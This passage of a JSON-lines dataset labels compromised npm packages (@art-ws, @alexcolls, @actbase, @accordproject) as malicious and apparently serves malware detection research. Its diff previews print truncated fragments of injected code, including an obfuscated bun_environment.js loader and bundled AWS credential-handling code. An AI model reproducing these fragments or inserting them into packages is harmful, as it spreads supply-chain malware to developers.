_0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp56mn6cbq/@alexcolls-nuxt-socket.io/package/bun_environment.js", "tmp/tmp56mn6cbq/@alexcolls-nuxt-socket.io/package/setup_bun.js", "tmp/tmp56mn6cbq/@alexcolls-nuxt-socket.io/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@fastify-http-server", "version": "2.0.27", "filename": "2025-09-15-@art-ws_fastify-http-server-v2.0.27.zip", "primary_file": "tmp/tmpz20wk3po/@art-ws-fastify-http-server/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpz20wk3po/@art-ws-fastify-http-server/package/bundle.js", "tmp/tmpz20wk3po/@art-ws-fastify-http-server/package/dist/es/fastify-http-server.js", "tmp/tmpz20wk3po/@art-ws-fastify-http-server/package/package.json", "tmp/tmpz20wk3po/@art-ws-fastify-http-server/package/dist/es/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@package-base", "version": "1.0.5", "filename": "2025-09-15-@art-ws_package-base-v1.0.5.zip", "primary_file": "tmp/tmpahc2vo37/@art-ws-package-base/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpahc2vo37/@art-ws-package-base/package/bundle.js", "tmp/tmpahc2vo37/@art-ws-package-base/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@alexcolls@nuxt-ux", "version": "0.6.2", "filename": "2025-11-24-@alexcolls_nuxt-ux-v0.6.2.zip", "primary_file": "tmp/tmpv4e4m3ci/@alexcolls-nuxt-ux/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpv4e4m3ci/@alexcolls-nuxt-ux/package/bun_environment.js", "tmp/tmpv4e4m3ci/@alexcolls-nuxt-ux/package/setup_bun.js", "tmp/tmpv4e4m3ci/@alexcolls-nuxt-ux/package/dist/runtime/composables/useGlassWindow.js", "tmp/tmpv4e4m3ci/@alexcolls-nuxt-ux/package/package.json", "tmp/tmpv4e4m3ci/@alexcolls-nuxt-ux/package/dist/runtime/composables/useNuxtUxStore.js", "tmp/tmpv4e4m3ci/@alexcolls-nuxt-ux/package/dist/runtime/locales/fr.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@ssl-info", "version": "1.0.9", "filename": "2025-09-15-@art-ws_ssl-info-v1.0.9.zip", "primary_file": "tmp/tmprwqkum2w/@art-ws-ssl-info/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmprwqkum2w/@art-ws-ssl-info/package/bundle.js", "tmp/tmprwqkum2w/@art-ws-ssl-info/package/index.js", "tmp/tmprwqkum2w/@art-ws-ssl-info/package/package.json", "tmp/tmprwqkum2w/@art-ws-ssl-info/package/cli.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-native-kakao-channel", "version": "1.0.2", "filename": "2025-11-24-@actbase_react-native-kakao-channel-v1.0.2.zip", "primary_file": "tmp/tmpctljbuvf/@actbase-react-native-kakao-channel/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpctljbuvf/@actbase-react-native-kakao-channel/package/bun_environment.js", "tmp/tmpctljbuvf/@actbase-react-native-kakao-channel/package/setup_bun.js", "tmp/tmpctljbuvf/@actbase-react-native-kakao-channel/package/package.json", "tmp/tmpctljbuvf/@actbase-react-native-kakao-channel/package/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@accordproject@markdown-it-cicero", "version": "0.16.26", "filename": "2025-11-24-@accordproject_markdown-it-cicero-v0.16.26.zip", "primary_file": "tmp/tmpt8k_5u3i/@accordproject-markdown-it-cicero/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpt8k_5u3i/@accordproject-markdown-it-cicero/package/bun_environment.js", "tmp/tmpt8k_5u3i/@accordproject-markdown-it-cicero/package/setup_bun.js", "tmp/tmpt8k_5u3i/@accordproject-markdown-it-cicero/package/lib/cicero_block.js", "tmp/tmpt8k_5u3i/@accordproject-markdown-it-cicero/package/lib/cicero_re.js", "tmp/tmpt8k_5u3i/@accordproject-markdown-it-cicero/package/package.json", "tmp/tmpt8k_5u3i/@accordproject-markdown-it-cicero/package/lib/cicero_inline.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@ssl-info", "version": "1.0.10", "filename": "2025-09-15-@art-ws_ssl-info-v1.0.10.zip", "primary_file": "tmp/tmpeuw17rf1/@art-ws-ssl-info/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpeuw17rf1/@art-ws-ssl-info/package/bundle.js", "tmp/tmpeuw17rf1/@art-ws-ssl-info/package/index.js", "tmp/tmpeuw17rf1/@art-ws-ssl-info/package/package.json", "tmp/tmpeuw17rf1/@art-ws-ssl-info/package/cli.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@node-server", "version": "1.1.19", "filename": "2025-11-24-@actbase_node-server-v1.1.19.zip", "primary_file": "tmp/tmpfuvdxyzn/@actbase-node-server/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpfuvdxyzn/@actbase-node-server/package/bun_environment.js", "tmp/tmpfuvdxyzn/@actbase-node-server/package/lib/lib/service.js", "tmp/tmpfuvdxyzn/@actbase-node-server/package/lib/lib/route.js", "tmp/tmpfuvdxyzn/@actbase-node-server/package/lib/contants/TypeIs.js", "tmp/tmpfuvdxyzn/@actbase-node-server/package/lib/lib/database.js", "tmp/tmpfuvdxyzn/@actbase-node-server/package/lib/run.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@slf", "version": "2.0.22", "filename": "2025-09-15-@art-ws_slf-v2.0.22.zip", "primary_file": "tmp/tmpgbwom4jd/@art-ws-slf/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpgbwom4jd/@art-ws-slf/package/bundle.js", "tmp/tmpgbwom4jd/@art-ws-slf/package/dist/es/core/controller.js", "tmp/tmpgbwom4jd/@art-ws-slf/package/dist/es/core/logger.js", "tmp/tmpgbwom4jd/@art-ws-slf/package/dist/es/core/delegates.js", "tmp/tmpgbwom4jd/@art-ws-slf/package/package.json", "tmp/tmpgbwom4jd/@art-ws-slf/package/dist/es/core/types.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@slf", "version": "2.0.15", "filename": "2025-09-15-@art-ws_slf-v2.0.15.zip", "primary_file": "tmp/tmpqfdix7nq/@art-ws-slf/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpqfdix7nq/@art-ws-slf/package/bundle.js", "tmp/tmpqfdix7nq/@art-ws-slf/package/dist/es/core/controller.js", "tmp/tmpqfdix7nq/@art-ws-slf/package/dist/es/core/logger.js", "tmp/tmpqfdix7nq/@art-ws-slf/package/dist/es/core/delegates.js", "tmp/tmpqfdix7nq/@art-ws-slf/package/package.json", "tmp/tmpqfdix7nq/@art-ws-slf/package/dist/es/core/types.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@web-app", "version": "1.0.3", "filename": "2025-09-15-@art-ws_web-app-v1.0.3.zip", "primary_file": "tmp/tmpldiet18l/@art-ws-web-app/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const 